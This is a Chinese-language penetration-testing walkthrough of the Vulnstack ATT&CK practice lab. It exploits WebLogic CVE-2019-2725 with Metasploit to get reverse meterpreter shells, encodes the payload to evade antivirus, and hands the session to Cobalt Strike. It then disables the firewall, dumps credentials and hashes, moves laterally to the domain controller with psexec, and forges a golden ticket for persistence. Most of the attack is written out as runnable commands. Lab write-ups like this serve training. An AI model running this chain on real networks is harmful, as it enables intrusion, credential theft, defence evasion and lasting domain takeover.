ATTCK实战系列-Vulnstack靶场内网域渗透(二)
ATT&CK实战系列-Vulnstack靶场内网域渗透(二)
- 前言
- 一、环境搭建
- 1.1 靶场下载地址
- 1.2 环境配置
- 1.2.1 DC域控服务器:
- 1.2.2 WEB服务器:
- 1.2.3 PC域内主机:
- 1.2.4 攻击者kali:
- 1.3 靶场拓扑图
- 二、外网渗透
- 2.1 信息收集
- 2.2 Weblogic 10.3.6.0
- 2.2.1 漏洞利用
- 2.2.2 MSF派生会话给CS
- 三、内网渗透
- 3.1 本机信息收集
- 3.2 域内信息收集
- 四、内网渗透
- 4.1 psexec 传递
- 4.2 横向移动
- 4.3 权限维持
- 4.4 黄金票据
前言
本次靶场环境主要包括Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。
1.Bypass UAC
2.Windows系统NTLM获取
3.Access Token利用(MSSQL利用)
4.WMI利用
5.网页代理,二层代理,特殊协议代理
6.域内信息收集
7.域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
8.域凭证收集
9.后门技术(黄金票据、白银票据、Sid History、MOF)
一、环境搭建
1.1 靶场下载地址
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
默认密码:1qaz@WSX
1.2 环境配置
下载好靶机打开vmx文件即可,将外网网段设置为192.168.111.0/24,其他设置都默认。
1.2.1 DC域控服务器:
• 内网IP:10.10.10.10
• 系统:Windows Server 2012(64位)
• 用户名:de1ay
1.2.2 WEB服务器:
注意:(初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX 登录进去)
•模拟外网IP:192.168.111.80
•内网IP:10.10.10.80
•系统:Windows Server 2008(64位)
启动后在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin
下有一个 startWeblogic
的批处理,使用管理员身份运行即可。
接下来的操作遇到这个界面就管理员身份运行它即可,管理员账号密码均为:Administrator/1qaz@WSX
然后点击计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动
1.2.3 PC域内主机:
•模拟外网IP:192.168.111.201
•内网IP:10.10.10.201
•系统:Windows 7(32位)
点击计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动
1.2.4 攻击者kali:
•模拟外网IP:192.168.111.128
•系统:linux
1.3 靶场拓扑图
二、外网渗透
2.1 信息收集
已知Web服务器的公网IP为192.168.111.80,所以,我们先对其Web服务器进行端口扫描:
nmap -T4 -sC -sV 192.168.111.80
端口扫描结果得知:
- 445端口开放可能存在smb服务可能还会有ms17-010 端口溢出漏洞
- 139端口开放就存在有samba服务可能会有远程命令执行漏洞
- 1433端口开放就存在mssql服务有可能存在爆破 注入 sa弱口令
- 3389远程桌面服务 7001端口 weblogic服务
我们先从7001端口上的Weblogic下手。
2.2 Weblogic 10.3.6.0
直接使用 WeblogicScan 扫描一下可能存在的漏洞,工具地址: https://github.com/rabbitmask/WeblogicScan
命令:python WeblogicScan.py -u 192.168.111.80 -p 7001
2.2.1 漏洞利用
存在的漏洞先试试CVE-2019-2725,我们在metasploit上找到了该漏洞的利用模块
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80 #靶机ip
set lhost 192.168.111.128 #攻击者kali ip
setg EnableStageEncoding true #编码绕过
setg StageEncoder x64/zutto_dekiru # 进行编码
exploit
该模块所携带的payload是针对unix环境,所以设置为windows环境
执行后,成功返回meterpreter,并且为管理员权限。
这里我们做编码的目的是为了绕过360,也可以使用一些其它免杀的方式,这里使用的msf的自免杀,使用x64/zutto_dekiru编码绕过。
2.2.2 MSF派生会话给CS
为了方便后面的渗透,我这里也给Cobaltstrike派生了一个shell:
首先CS创建监听器
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.111.128
set lport 9999
set session 3
exploit
CS成功上线!
三、内网渗透
3.1 本机信息收集
拿到了目标Web服务器的权限后,我们开始对目标主机及其所在的网络环境进行信息收集。
抓取明文密码 logonpasswords
shell systeminfo // 查看操作系统信息
shell ipconfig /all // 查询本机IP段,所在域等
whoami // 查看当前用户、权限
net user // 查看本地用户
net localgroup administrators // 查看本地管理员组(通常包含域用户)
综上可知目标Web服务器主机的操作系统为Windows Server 2008,具有两个网卡分别连通192.168.111.1/24和10.10.10.1/24两个网段。
3.2 域内信息收集
查询域内用户 net user /domain #该命令在本环境中需要在system权限下执行
直接在CS上提权
首先关闭防火墙 netsh advfirewall set allprofiles state off
net view /domain //查看有几个域
net view // 查看域内主机
net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net group "domain computers" /domain // 查看域内的机器
net user /domain // 查看域用户
net group "domain controllers" /domain // 查看域控制器组
net group "Enterprise Admins" /domain // 查看域管理员组
从收集的信息可知,目标主机所在的网络存在域环境,域名为de1ay.com,存在两台域主机WEB和PC,域控制器为DC.de1ay.com,主机名为DC,域管理员为Administrator。
四、内网渗透
4.1 psexec 传递
psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。
获取凭据后对目标网段进行端口存活探测,因为是 psexec 传递登录,这里仅需探测445端口
命令:portscan ip网段 端口 扫描协议(arp、icmp、none) 线程
例如:portscan 10.10.10.0/24 445 arp 200
可看到域控机器DC开放了445端口
4.2 横向移动
利用 psexec 横向移动至DC,使域控成功上线。
新建监听器
DC成功上线!
4.3 权限维持
在域控获得KRBTGT账户NTLM密码哈希和SID
hashdump
logonpasswords
如上图所示,我们得到krbtgt用户的Hash为:82dfc71b72a11ef37d663047bc2088fb,
域sid为S-1-5-21-2756371121-2868759905-3853650604-1001
4.4 黄金票据
黄金票据是伪造票据授予票据(TGT),也被称为认证票据,TGT仅用于向域服务器上的密钥分配中心(KDC)证明用户已经被其他的域控制器认证
黄金票据的条件:
1. 域名城
2. 域的sid值
3. 域的krbtgt账户htlm密码哈希
4. 伪造用户名
黄金票据可以在拥有普通域用户权限和krbtgt账户的hash的情况下用来获取域管理员权限,上面已经获取了域控的system权限了,还可以使用黄金票据做权限维持,当域控制器权限掉了之后,在通过域内其他任意机器伪造票据重新获取最高权限
将以上获取的信息填写到会话中
成功伪造
此时,攻击者就可以利用这台普通域用户的主机任意访问域控制器了,如下列出域控的C盘目录:
dir \\DC\c$